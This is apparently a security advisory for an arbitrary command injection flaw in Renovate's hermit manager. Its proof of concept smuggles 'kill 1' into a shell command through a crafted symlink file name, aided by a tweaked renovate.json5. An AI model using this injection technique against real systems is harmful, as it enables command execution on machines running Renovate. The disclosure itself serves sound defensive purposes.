PT-2026-4553 · Npm · Renovate
Published
2026-01-13
·
Updated
2026-01-13
CVSS v3.1
6.7
Medium
| Vector | AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Summary
The user-provided string
depName in the hermit manager is appended to the ./hermit install and ./hermit uninstall commands without proper sanitization.Details
Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the
packagesToInstall and packagesToUninstall variables in lib/modules/manager/hermit/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (https://github.com/renovatebot/renovate/commit/b696abb3c2741508fbb4029f39153140a3722e1e), released on July 30 of 2022.
In version 37.199.1 (https://github.com/renovatebot/renovate/commit/eaec10d7c8afadbdd783ac47bd2adbfab444d6df) some use of the quote function from the shlex package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.
When support for replacements was introduced with version 37.214.4 (https://github.com/renovatebot/renovate/commit/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c), the same faulty approach was replicated for uninstalling packages.PoC
- Create a git repo with the following content:
renovate.json5:json5
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["hermit"],
// Trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
bin/hermit:bash
#!/bin/bash
#
# THIS FILE IS GENERATED; DO NOT MODIFY
set -eo pipefail
export HERMIT USER HOME=~
if [ -z "${HERMIT STATE DIR}" ]; then
case "$(uname -s)" in
Darwin)
export HERMIT STATE DIR="${HERMIT USER HOME}/Library/Caches/hermit"
;;
Linux)
export HERMIT STATE DIR="${XDG CACHE HOME:-${HERMIT USER HOME}/.cache}/hermit"
;;
esac
fi
export HERMIT DIST URL="${HERMIT DIST URL:-https://github.com/cashapp/hermit/releases/download/stable}"
HERMIT CHANNEL="$(basename "${HERMIT DIST URL}")"
export HERMIT CHANNEL
export HERMIT EXE=${HERMIT EXE:-${HERMIT STATE DIR}/pkg/hermit@${HERMIT CHANNEL}/hermit}
if [ ! -x "${HERMIT EXE}" ]; then
echo "Bootstrapping ${HERMIT EXE} from ${HERMIT DIST URL}" 1>&2
INSTALL SCRIPT="$(mktemp)"
# This value must match that of the install script
INSTALL SCRIPT SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6"
if [ "${INSTALL SCRIPT SHA256}" = "BYPASS" ]; then
curl -fsSL "${HERMIT DIST URL}/install.sh" -o "${INSTALL SCRIPT}"
else
# Install script is versioned by its sha256sum value
curl -fsSL "${HERMIT DIST URL}/install-${INSTALL SCRIPT SHA256}.sh" -o "${INSTALL SCRIPT}"
# Verify install script's sha256sum
openssl dgst -sha256 "${INSTALL SCRIPT}" |
awk -v EXPECTED="$INSTALL SCRIPT SHA256"
'$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}'
fi
/bin/bash "${INSTALL SCRIPT}" 1>&2
fi
exec "${HERMIT EXE}" --level=fatal exec "$0" -- "$@"
bin/.|| kill 1 ||@0.0.1.pkg (symlink):A symlink to
hermit- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of theoverrideDatasourceconfiguration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.
Impact
TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Fix
Command Injection
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Weakness Enumeration
Related Identifiers
Affected Products
Renovate